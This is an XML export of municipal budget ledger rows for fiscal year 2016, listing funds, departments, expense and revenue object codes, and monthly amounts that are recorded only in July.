<row _id="18841"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>588060.0</object><object_description>MOTOR VEHICLES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18842"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>588080.0</object><object_description>OFFICE EQUIPMENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1558</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1558</total></row>
<row _id="18843"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>10046</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>10046</total></row>
<row _id="18844"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522130.0</object><object_description>UTILITIES - WATER</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>18247</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18247</total></row>
<row _id="18845"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>404170.0</object><object_description>OTHER REVENUE - MISCELLANEOUS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-22780</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-22780</total></row>
<row _id="18846"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>544120.0</object><object_description>PERIODICALS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18847"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>306</division_id><division_name>STRATEGIC SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>5337</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5337</total></row>
<row _id="18848"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>544010.0</object><object_description>SPEC DEPT SUPPLIES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2077</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2077</total></row>
<row _id="18849"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>18291</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>18291</total></row>
<row _id="18850"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>566450.0</object><object_description>SEWAGE PUMP PLANT MAINT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>389385</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>389385</total></row>
<row _id="18851"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7788</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7788</total></row>
<row _id="18852"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>522150.0</object><object_description>STORMWATER MANAGEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1400</total></row>
<row _id="18853"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>566220.0</object><object_description>CONVENTION / VISITORS</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2643022</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2643022</total></row>
<row _id="18854"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577860.0</object><object_description>TORCA REIMBURSEMENT</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-74843</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-74843</total></row>
<row _id="18855"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578250.0</object><object_description>STORMWATER / WASTEWATER REIMB</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1170472</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1170472</total></row>
<row _id="18856"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522030.0</object><object_description>INVESTIGATION EXPENSES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25000</total></row>
<row _id="18857"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>925000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>925000</total></row>
<row _id="18858"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>400210.0</object><object_description>CITY CLERK COUNTER FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-500</total></row>
<row _id="18859"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>401340.0</object><object_description>GEN PROM BUS LIC.-DOWNTOWN</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-10150</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10150</total></row>
<row _id="18860"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>401350.0</object><object_description>GEN PROM BUS LICENSE MONTANA</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-5350</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-5350</total></row>
<row _id="18861"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>588090.0</object><object_description>FURNITURE &amp; FURNISHINGS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18862"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>603</division_id><division_name>SPECIAL SERVICES</division_name><object xsi:nil="true" /><object_description>CONTRACT SVCS - PARATRANSIT SV</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>665070</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>665070</total></row>
<row _id="18863"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577170.0</object><object_description>GAS TAXES REIMBURSEMENT</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1567000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1567000</total></row>
<row _id="18864"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7269</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7269</total></row>
<row _id="18865"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="18866"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="18867"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>264</division_id><division_name>HOUSING</division_name><object>522185.0</object><object_description>BANK FEES-FUND 15</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18868"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>407050.0</object><object_description>GEN PROM BUS LIC - PICO</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-4300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-4300</total></row>
<row _id="18869"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577880.0</object><object_description>SMURRF O&amp;M COSTS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>461383</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>461383</total></row>
<row _id="18870"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1539991</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1539991</total></row>
<row _id="18871"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522050.0</object><object_description>MEDICAL EXAMS</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>25000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>25000</total></row>
<row _id="18872"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>57</fund_id><fund_name>Self-insurance, Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>233</division_id><division_name>BUS</division_name><object>522060.0</object><object_description>COURT FILING FEES</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1000</total></row>
<row _id="18873"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>522010.0</object><object_description>PAYMENT OF CLAIMS</object_description><category_code>856.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8000000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8000000</total></row>
<row _id="18874"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>448</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>448</total></row>
<row _id="18875"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>59</fund_id><fund_name>Self-insur, Workers' Comp Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>235</division_id><division_name>WORKER'S COMPENSATION</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>862.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>120000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>120000</total></row>
<row _id="18876"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401540.0</object><object_description>STATE HIGHWAY CLEANING</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-10800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-10800</total></row>
<row _id="18877"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405020.0</object><object_description>SALE OF REFUSE BAGS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-500</total></row>
<row _id="18878"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>211</division_id><division_name>R &amp; ES(CITY CLERK)-ADMIN</division_name><object>405080.0</object><object_description>SALE OF MUNICIPAL CODES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-200</total></row>
<row _id="18879"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>401060.0</object><object_description>STATE SB 90 CLAIMS</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="18880"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>401030.0</object><object_description>HAZ MAT RESPONSE RECOVERY</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2000</total></row>
<row _id="18881"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>400690.0</object><object_description>PLAN CHECK FEES-ENGINEERING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-412250</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-412250</total></row>
<row _id="18882"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>50490</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>50490</total></row>
<row _id="18883"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>555660.0</object><object_description>ENVIRONMENTAL REIMBURSEMENT</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1018218</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1018218</total></row>
<row _id="18884"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577500.0</object><object_description>TRANSFERS FROM / TO FUND</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-2086093</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-2086093</total></row>
<row _id="18885"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402350.0</object><object_description>WATER - MISC NON-OPERATING</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-316806</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-316806</total></row>
<row _id="18886"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402370.0</object><object_description>REIMB FROM OTHER FUNDS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-431080</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-431080</total></row>
<row _id="18887"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>402950.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>659.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2016</fiscal_year><july>-375000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-375000</total></row>
<row _id="18888"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>671</division_id><division_name>WATER</division_name><object>404800.0</object><object_description>WATER DEMAND MITIGATION FEE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-300000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-300000</total></row>
<row _id="18889"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>405930.0</object><object_description>TRANSFER STATION - CITY DEPTS</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-278600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-278600</total></row>
<row _id="18890"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>402210.0</object><object_description>MAUSOLEUM SALES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-117786</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-117786</total></row>
